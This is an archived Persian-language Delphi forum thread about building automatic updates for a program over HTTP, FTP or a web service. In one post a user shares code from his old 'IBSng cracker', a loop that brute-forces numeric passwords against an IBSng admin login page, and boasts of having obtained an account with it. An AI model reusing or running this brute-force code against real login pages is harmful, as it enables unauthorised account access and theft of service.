View Full Version : حرفه ای: برنامه با قابلیت اپدیت (اتوماتیک)
FiACKER
سه شنبه 05 مرداد 1389, 17:24 عصر
سلام
تا حالا تجربه نوشتن همچین برنامه ای رو داشتین ؟
که برنامه تون موقع اتصال به اینترنت اخرین نسخه ی ریلیز شده رو چک کنه و در صورت جدید بودن نسخه در دسترس ، اون رو دانلود کنه.
خودم یه ایده دارم که از طریق ftp و http اخرین نسخه رو چک کنه و شروع کنه به دانلود. مثلا یه فایله متنی(ini) بزاریم که اخرین ورژن رو به اعداد پشته سره هم(مثلا 1512 = v1.5.12) توش بزاریم، بعد وقتی دانلودش کرد و ورژن رو چک کرد ، شروع به دانلود لیست فایلها بکنه.
شما اگه ایده ای دارید لطفا بگید، نیازی نیست کد بزارید و اگه نمونه ای داشتید برای بقیه بزارید که بقیه هم استفاده کنن.
به امید سر افرازی کشورمون
موفق باشید
مهران رسا
سه شنبه 05 مرداد 1389, 19:02 عصر
اگه قرار باشه کل فایل اجرایی برنامه با بروز رسانی تغییر کنه ، بهتره شماره ورژن رو از فایل اجرایی خود برنامه کنید چک کنید . اما در شرایطی فقط یک سری فایل دیگه (مثلاً پلاگین ها) قراره از طریق Update به برنامه اضافه بشند ، که در این صورت میتونید لیست آخرین نسخه ی فایل های بروز رسانی شده رو مثلاً در یک فایل ini به صورت Encode شده در کنار برنامه ذخیره کنید .
FiACKER
سه شنبه 05 مرداد 1389, 19:07 عصر
اين قسمت از تئوري رو مي دونم و طبق نياز هاي برنامه ي خودم مي دونم چيكار كنم، مسئله ي مهم اينجاست كه بهترين، بدون اشتباه ترين، سريعترين راه حل براي گرفتن ليست فايل هايي كه بايد دريافت بشه، كدومه ؟
ايا بايد يك وب سرويس نوشت كه درخواست ها رو پردازش كنه و جواب (يا همون لينك هاي نسخه ي جديد) رو به برنامه ي من برگردونه !؟
ممنون از راهنمايي تون
مهران رسا
سه شنبه 05 مرداد 1389, 19:20 عصر
شما این 3 راه رو پیش رو داری :
استفاده از HTTP : از یک زبان Server-Side استفاده کنی
استفاده از وب سرویس : یک وب سرویس راه اندازی کنی
استفاده از TCP/IP : برنامت رو به صورت کلاینت/سرور و با استفاده از سوکت طراحی کنی
بهترين، بدون اشتباه ترين، سريعترين راه حلفرقی چندانی نداره . همشون بهترین هستند . بستگی داره شما چطور کد بنویسید .
این از روش ارتباط .
حالا در مورد اینکه چطور کد بنویسیم ، فکر میکنم بارها در این مورد بحث شده یک سرچ بزنید . اگه نتیجه ای نگرفتید بحث میکنیم .
FiACKER
سه شنبه 05 مرداد 1389, 19:27 عصر
براي كد نويسيش مشكلي ندارم خودم مي نويسم.
امروز يه هاست(لينوكس) و دومين خريدم و منتظره فعال شدنه دومين هستم و ميخوام با FTP وصل شم و يك فايل فشرده حاوي فايل هاي جديد رو دريافت كنم و در طرف كاربر اطلاعات رو استخراج كنم.
براي گرفتن اخرين نسخه از برنامه هم از دانلود از http استفاده مي كنم.
استفاده از HTTP : از یک زبان Server-Side استفاده کنی
ولي اين رو متوجه نشدم دقيقا منظورتون چي هست ؟
FiACKER
سه شنبه 05 مرداد 1389, 19:41 عصر
اقاي M8SPY ، اگه اشتباه نكنم شما قبلا تويه انجمن vb فعاليت مي كرديد. يادتونه يه نفر يه سورسي گذاشته بود كه يه تابع تويهيه فايله php كه اپلودشم كردم بود گذاشته بود كه اطلاعاتي رو بهش مي فرستادي و اطلاعاتي رو بهت بر مي گردوند ؟
يادمه كدش خيلي ساده بود و اگه بشه اونو گير اورد خيلي خوب ميشه، دارم دنبالش مي گردم...
FiACKER
سه شنبه 05 مرداد 1389, 20:07 عصر
begin
with HttpTestForm do
begin
MyIdhttp := IdHTTP1 ;
FromNum := StrToInt(Edit1.Text) ;
ToNum := StrToInt(Edit2.Text) ;
strUserName := Edit3.Text ;
Memo4Result := Memo1 ;
for i:= FromNum to ToNum do
begin
Application.ProcessMessages;
Label17.Caption := IntToStr(i);
ARequestContent := TStringList.Create;
try
ARequestContent.Add('username=' + strUserName);
ARequestContent.Add('password=' + IntToStr(i));
MyIdhttp.HandleRedirects := true ;
AResponse := MyIdhttp.Post('http://80.191.000.000/IBSng/admin/index.php', ARequestContent);
finally
ARequestContent.Free;
if Pos('password', LowerCase(AResponse)) = 0 then Memo4Result.Lines.Add(IntToStr(i));
if Pos('Users Home', AResponse) <> 0 then Memo4Result.Lines.Add(IntToStr(i));
if Pos('Admin Login', AResponse) = 0 then Memo4Result.Lines.Add(IntToStr(i));
end;
end;
end;
end;
نظرتون در مورد اين كد چي هست ؟
اين كد يكي از برنامه هاي قديميم هست كه اسمش IBSng Craaaacker بود، پسورد ميفرسته تا پسورد درست رو پيدا كنه. اما ديگه اين كدا بدرد نمي خوره كسي به فكره استفاده كردن جهت كارايه خلاف نيوفته.
ولي يادش بخير كه يوزره 512 بدون محدوديت رو با همين برنامه گير اورده بودم و حالشو مي بردم...:شیطان: (استغفرالله از دست اي جوونا:لبخند:)
ولي در مورد كدا بايد بگم كه اطلاعات رو به فرم php مي فرسته و در جواب، متني شامل هر جوابي كه اون صحفه ي اول داده رو دريافت مي كنه.
حالا اگه من بيام يك فايل php كوچيك طراحي كنم كه در جواب اطلاعاتي كه مي خوام رو بهم بده، اين روش از هر چيزي سريعتر هست.
منظورتون از "استفاده از HTTP : از یک زبان Server-Side استفاده کنی" همين بود ؟
مهران رسا
سه شنبه 05 مرداد 1389, 21:12 عصر
ولي اين رو متوجه نشدم دقيقا منظورتون چي هست ؟
ببینید بستگی به میزان حساسیت و گستردگی برنامه شما داره . در واقع شما لینکهای بروز رسانی رو توی یک فایل txt هم میتونید قرار بدید و در یک فضای رایگان آپلود کنید . اما در شرایطی ، ممکنه تعداد فایلهایی که قراره توسط کلاینت به عنوان Update دریافت بشند بسیار زیاد باشند . یا مثلاً در مواردی ، قبل از ارسال لینک بروز رسانی برای کلاینت ها ، میبایست هویت اونها رو توسط یک کلمه عبور یا انجام عملیات Validation بررسی کنید . که در این صورت به مدیریت بیشتری نیاز دارید و نیاز میشه با یک زبان Server-Side یک Managment برای اینکار طراحی کرده و در سمت سرور قرار بدید .
FiACKER
سه شنبه 05 مرداد 1389, 21:27 عصر
خب پس منظوره شما همين روشي هست كه در پسته قبل گفتم.
با روشي كه در بالا گفتم (با استفاده از php) مي شه اين كار رو هم كرد. مثلا نام كاربري و رمز رو با ديتابيسش تطبيق بده بعد اخرين نسخه و لينك دانلود رو به صورت جواب بفرسته، اما برنامه ي من يه برنامه ي نيمه Private هست و دسته هر كسي نيست كه يوزر و پسورد به هر نسخه از برنامه بدم، فقط كافيه تويه سورس برنامم اطلاعات مخصوص اين نسخه (مثلا ادرسش فايل فشرده تويه دايركتوريه ftp) رو داشته باشم.
ممنون از راهنماييتون
bootshow
سه شنبه 05 مرداد 1389, 23:45 عصر
میخواستم تو یک کارخونه ای کار کنم که یکی از هتلهای بزرگ شیراز را خریده بود.صاحب پروژه به قول خودش یکی از بهترین شرکتهای برنامه نویسی ایران را داشت و ....داستانش بماند.
در مورد آپدیت برنامه میگفت که این روشی که میاد کل فایل اجرایی برنامه را دانلود میکند روش خوبی نیست.به این حرفش هم کاری ندارم.
خوب قصد داشت یک برنامه خیلی جامع برای هتل بنویسیه که تماما از scripter studio استفاده کنه.یعنی فایل اجرایی نهایی بصورت یک کامپایلر کوچک میشه که سورسها و فرمهایی را که لازم داره در زمان اجرا از یک دیتابیس (دیتابیس در سرور) میخونه و اونا رو تبدیل به فایل اجرایی میکنه.اینجوری تنها اون قسمت از برنامه (فرم) را که اجتیاج به آپدیت دارد را در دیتابیس سرور تغییر میدهد و برنامه نهایی فرم آپدیت شده از دیتابیس سرور میگیرد.
تا اونجایی که جستجو کردم فهمیدم http://tmssoftware.com/site/scriptstudiopro.asp بهترین برنامه برای اسکریپت نویسی هست.این امکانش هست که بشه یک برنامه ای را با scripter studio ایجاد کرد(و یا حتی برنامه نوشته شده در دلفی را به صورت scripter درآورد). ولی اینجوری کار برنامه نویس خیلی خیلی سخت میشه.روی این موضوع زیاد کار کردم و به این نتیجه رسیدم کلا script نویسی برای یک برنامه بزرگ کار معقولی نیست.
نظر شما چیه؟؟چنین برنامه ای سراغ دارید که تحت scripter studio اجرا بشه.
FiACKER
جمعه 08 مرداد 1389, 00:17 صبح
برنامه ي من فايل اجراييش با تمام اجزايه كنارش تقريبا 1.75 مگ ميشن و برنامه ي كوچيكي از نظره حجمي محسوب ميشه. كاربرايي كه با برنامه كار مي كنن، بعضي مواقع نياز هست كه برنامه رو اپديت كنند(به دليل تغيير فرمت يك سري از اجزا...).
اما در مورد كامپوننت TMS ، فكر نمي كنم كارايي كه من انجام دادم رو بتونه انجام بده. چون بانك اطلاعاتي نيست.
FiACKER
جمعه 08 مرداد 1389, 00:58 صبح
كامپوننتي كه معرفي كرديد رو بررسي كردم، كامپوننته جالب و كاربرديي هست، اما در برنامه نويسي هاي پيشرفته زياد كاربرد نداره.
مشكلاتي كه داره : نوشتن كد باهاش سخته، دستتون باز نيست كه هر كاري بكنيد(مثلا استفاده از توابع api دردسره معرفي تك تك توابع رو داريد!!)
براي پروژه هاي بزرگ نمي شه كاملا ازش استفاده كرد، اما براي قسمت هايي كوچيك كه دائم در حال تغيير اند يا به هر حال تغيير مي كنند مي تونه خيلي به درد بخور باشه.
موفق باشيد
vBulletin® v4.2.5, Copyright ©2000-1404, Jelsoft Enterprises Ltd.